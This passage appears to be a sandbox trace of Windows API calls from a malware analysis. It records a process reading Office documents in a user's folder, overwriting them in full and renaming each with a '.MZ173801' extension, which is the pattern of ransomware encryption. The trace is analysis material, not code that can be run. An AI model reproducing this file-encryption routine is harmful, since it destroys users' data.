lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.508] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dO Q3c1HB9zkLz M.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\do q3c1hb9zklz m.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.508] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.508] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.509] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x18e25 [0124.509] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.509] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x18e25, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x18e25, lpOverlapped=0x0) returned 1 [0124.510] CloseHandle (hObject=0x288) returned 1 [0124.512] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dO Q3c1HB9zkLz M.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\do q3c1hb9zklz m.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.513] WriteFile (in: hFile=0x288, lpBuffer=0x72e540*, nNumberOfBytesToWrite=0x18e25, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x72e540*, lpNumberOfBytesWritten=0x18f99c*=0x18e25, lpOverlapped=0x0) returned 1 [0124.516] CloseHandle (hObject=0x288) returned 1 [0124.518] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dO Q3c1HB9zkLz M.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\do q3c1hb9zklz m.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dO Q3c1HB9zkLz M.pptx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\do q3c1hb9zklz m.pptx.mz173801")) returned 1 [0124.519] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hjg_Wz99z1qLZ.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hjg_wz99z1qlz.xls"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x560be000, ftCreationTime.dwHighDateTime=0x1d5de26, ftLastAccessTime.dwLowDateTime=0x545dab00, ftLastAccessTime.dwHighDateTime=0x1d5e64e, ftLastWriteTime.dwLowDateTime=0x545dab00, ftLastWriteTime.dwHighDateTime=0x1d5e64e, nFileSizeHigh=0x0, nFileSizeLow=0x90a8)) returned 1 [0124.520] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.520] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.522] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hjg_Wz99z1qLZ.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hjg_wz99z1qlz.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.522] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.522] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.522] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x90a8 [0124.522] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.522] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x90a8, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x90a8, lpOverlapped=0x0) returned 1 [0124.523] CloseHandle (hObject=0x288) returned 1 [0124.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hjg_Wz99z1qLZ.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hjg_wz99z1qlz.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.526] WriteFile (in: hFile=0x288, lpBuffer=0x71e540*, nNumberOfBytesToWrite=0x90a8, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x71e540*, lpNumberOfBytesWritten=0x18f99c*=0x90a8, lpOverlapped=0x0) returned 1 [0124.527] CloseHandle (hObject=0x288) returned 1 [0124.530] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hjg_Wz99z1qLZ.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hjg_wz99z1qlz.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hjg_Wz99z1qLZ.xls.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hjg_wz99z1qlz.xls.mz173801")) returned 1 [0124.531] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jjAVl.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jjavl.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd59da150, ftCreationTime.dwHighDateTime=0x1d5856b, ftLastAccessTime.dwLowDateTime=0x865f3190, ftLastAccessTime.dwHighDateTime=0x1d5e087, ftLastWriteTime.dwLowDateTime=0x865f3190, ftLastWriteTime.dwHighDateTime=0x1d5e087, nFileSizeHigh=0x0, nFileSizeLow=0x5608)) returned 1 [0124.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OT